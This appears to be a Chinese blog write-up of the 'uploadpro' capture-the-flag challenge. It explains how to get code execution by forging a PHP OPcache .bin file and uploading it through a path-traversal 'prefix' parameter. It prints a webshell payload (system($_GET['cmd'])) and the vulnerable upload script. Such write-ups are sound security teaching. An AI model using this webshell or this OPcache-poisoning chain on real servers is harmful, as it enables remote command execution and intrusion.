qwb-uploadpro


uploadpro

这道题目是一道利用PHP7的OPcache执行PHP代码,条件就是需要有OPcache和文件上传漏洞,具体可以参考这篇文章。利用PHP7的OPcache执行PHP代码

大体的思路就是我们要为造一个phpinfo.php的bin文件并上传到tmp/opcache/[system_id]/var/www/phpinfo.php.bin。这里伪造phpinfo的原因是因为php开启了file_cache_only = 0,我们没办法直接绕过它。因为我们必须先访问index.php。但是可以不用访问phpinfo.php。那么一开始就不会生成phpinfo.php.bin文件,这样就没有产生缓存我们就可以覆盖phpinfo.php。

然后这道题目通过扫描可以看到存在phpinfo.php:

image-20220801144447848

访问phpinfo.php可以看到是开启了OPcache:

image-20220801144630454

可以看到这里php开启了OPcache并且开启了file_cache_only = 0和validate_timestamps = 1。所以这里我们需要绕过这两个安全限制。绕过file_cache_only = 0的方法前面已经提到过了。绕过validate_timestamps = 1的方法就是伪造时间戳。这里因为没有使用什么框架。那么唯一的方法就是找到原始的bin文件。所以推测这个题目还有任意文件读取的漏洞。经过测试uploads../proc存在目录遍历和任意文件读取的问题。

image-20220801145757139

这里可以看到在没有访问phpinfo.php的时候是没有生成phpinfo.php.bin文件的。其实在此之前这里是经过对比的index.php和phpinfo.php的时间戳(0x40)是一样的。这里伪造phpinfo.php.bin的方法就是在本地搭建一个php7.4的环境生成一个bin文件,这里需要注意的是我们可以改一个方便的存储地址:

image-20220801150534669

然后我们写一个phpinfo.php的文件包含以下内容:

<?php
  system($_GET['cmd']);
?>

接下来访问一下就能看到我们生成的bin文件了,然后对照我们下载的index.php.bin修改:

image-20220801150937900

这里我们还原一下index.php.bin文件的源码:

<!DOCTYPE html>
<html>
<head>
    <title>文件上传</title>
    <meta charset="utf-8">
</head>
<body>
        <form action="index.php" method="post" enctype="multipart/form-data">
        <input type="hidden" name="max_file_size" value="1048576">
        <input type="file" name="file">
        <input type="submit" name="上传">
        </form>
    
</body>
</html>

<?php 
    if($_SERVER['REQUEST_METHOD']=="GET"){
        die(0);
    }
    header("content-type:text/html;charset=utf-8");
    $filename = str_replace("\0","",$_FILES['file']['name']);
    $prefix = isset($_GET['prefix'])?str_replace("\0","",$_GET['prefix']):"";
    $temp_name = $_FILES['file']['tmp_name'];
    $size = $_FILES['file']['size'];
    $error = $_FILES['file']['error'];
    if ($size > 2*1024*1024){
        echo "<script>alert('文件大小超过2M大小');window.history.go(-1);</script>";
        exit();
    }
    $arr = pathinfo($filename);
    $ext_suffix = $arr['extension'];
    $allow_suffix = array('jpg','gif','jpeg','png',"bin","hex","dat","docx","xlsx");
    if(!in_array($ext_suffix, $allow_suffix)){
        echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png,bin,hex,dat');window.history.go(-1);</script>";
        exit();
    }
    if (move_uploaded_file($temp_name, '/uploads/'.$prefix.$filename)){
        echo "<script>alert('文件上传成功! Path /uploads/$prefix$filename');</script>";
    }else{
        echo "<script>alert('文件上传失败,错误码:$error');</script>";
    }

 ?>

可以看到profix变量可控,所以我们可以进行跨目录上传,但是这里需要注意的是我们需要绕过get方法,这里我们可以用POST方法正常上传文件,然后在路径后面添加get参数从而绕过get方法的检查:

image-20220801151510118

可以看到这里成功跨目录上传了bin文件:

image-20220801151615035

然后我们再次访问phpinfo.php文件,内容修改,并成功读取flag

4B7953A495B8D2D6502BB679587418C9


文章作者: kento
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kento !
评论
  目录